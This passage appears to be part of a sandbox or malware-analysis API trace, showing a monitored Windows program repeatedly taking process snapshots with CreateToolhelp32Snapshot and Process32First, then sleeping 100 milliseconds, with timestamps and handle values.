cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.249] Sleep (dwMilliseconds=0x64) [0164.251] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0164.266] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.382] Sleep (dwMilliseconds=0x64) [0164.384] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0164.396] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.464] Sleep (dwMilliseconds=0x64) [0164.467] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0164.480] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.578] Sleep (dwMilliseconds=0x64) [0164.581] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0164.594] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.697] Sleep (dwMilliseconds=0x64) [0164.698] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0164.714] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.810] Sleep (dwMilliseconds=0x64) [0164.812] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0164.827] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.895] Sleep (dwMilliseconds=0x64) [0164.898] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0164.972] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.036] Sleep (dwMilliseconds=0x64) [0165.038] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0165.050] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.172] Sleep (dwMilliseconds=0x64) [0165.174] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0165.193] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.353] Sleep (dwMilliseconds=0x64) [0165.355] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0165.371] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.490] Sleep (dwMilliseconds=0x64) [0165.492] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0165.544] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.673] Sleep (dwMilliseconds=0x64) [0165.676] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0165.694] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.807] Sleep (dwMilliseconds=0x64) [0165.809] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0165.825] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.924] Sleep (dwMilliseconds=0x64) [0165.925] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0165.996] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.063] Sleep (dwMilliseconds=0x64) [0166.106] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0166.119] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.187] Sleep (dwMilliseconds=0x64) [0166.190] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0166.204] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.303] Sleep (dwMilliseconds=0x64) [0166.304] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0166.316] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.472] Sleep (dwMilliseconds=0x64) [0166.489] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0166.502] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.613] Sleep (dwMilliseconds=0x64) [0166.631] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0166.645] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.714] Sleep (dwMilliseconds=0x64) [0166.736] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0166.750] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.832] Sleep (dwMilliseconds=0x64) [0166.836] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0166.861] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.972] Sleep (dwMilliseconds=0x64) [0166.974] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0166.986] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.068] Sleep (dwMilliseconds=0x64) [0167.070] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0167.082] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.181] Sleep (dwMilliseconds=0x64) [0167.183] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0167.196] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.302] Sleep (dwMilliseconds=0x64) [0167.305] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0167.329] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.395] Sleep (dwMilliseconds=0x64) [0167.397] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0167.417] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.487] Sleep (dwMilliseconds=0x64) [0167.489] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0167.503] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.650] Sleep (dwMilliseconds=0x64) [0167.652] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0167.666] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.820] Sleep (dwMilliseconds=0x64) [0167.974] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0167.989] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.212] Sleep (dwMilliseconds=0x64) [0168.214] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0168.235] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.355] Sleep (dwMilliseconds=0x64) [0168.357] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0168.371] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.442] Sleep (dwMilliseconds=0x64) [0168.444] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0168.464] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.541] Sleep (dwMilliseconds=0x64) [0168.543] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0168.560] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.644] Sleep (dwMilliseconds=0x64) [0168.646] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0168.659] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.754] Sleep (dwMilliseconds=0x64) [0168.756] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0168.833] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.923] Sleep (dwMilliseconds=0x64) [0168.926] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0168.963] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.068] Sleep (dwMilliseconds=0x64) [0169.069] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0169.084] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.170] Sleep (dwMilliseconds=0x64) [0169.172] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0169.205] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.271] Sleep (dwMilliseconds=0x64) [0169.274] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0169.286] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.372] Sleep (dwMilliseconds=0x64) [0169.373] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0169.385] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.472] Sleep (dwMilliseconds=0x64) [0169.474] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0169.492] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.591] Sleep (dwMilliseconds=0x64) [0169.594] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0169.629] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.714] Sleep (dwMilliseconds=0x64) [0169.715] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0169.732] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.849] Sleep (dwMilliseconds=0x64) [0169.851] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0169.866] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.019] Sleep (dwMilliseconds=0x64) [0170.023] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0170.038] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.140] Sleep (dwMilliseconds=0x64) [0170.142] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0170.154] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.271] Sleep (dwMilliseconds=0x64) [0170.273] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0170.290] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.396] Sleep (dwMilliseconds=0x64) [0170.398] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0170.410] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.528] Sleep (dwMilliseconds=0x64) [0170.530] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0170.545] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.613] Sleep (dwMilliseconds=0x64) [0170.615] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0170.633] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.791] Sleep (dwMilliseconds=0x64) [0170.878] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x218c [0170.894] Process32First (in: hSnapshot=0x218c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.038] Sleep (dwMilliseconds=0x64) [0171.127] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0171.220] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.412] Sleep (dwMilliseconds=0x64) [0171.532] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0171.553] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.691] Sleep (dwMilliseconds=0x64) [0171.693] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0171.703] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.792] Sleep (dwMilliseconds=0x64) [0171.793] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0171.804] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.896] Sleep (dwMilliseconds=0x64) [0171.902] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0171.917] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.032] Sleep (dwMilliseconds=0x64) [0172.033] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0172.046] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.122] Sleep (dwMilliseconds=0x64) [0172.125] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0172.139] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.204] Sleep (dwMilliseconds=0x64) [0172.206] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0172.218] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.299] Sleep (dwMilliseconds=0x64) [0172.301] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0172.387] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: 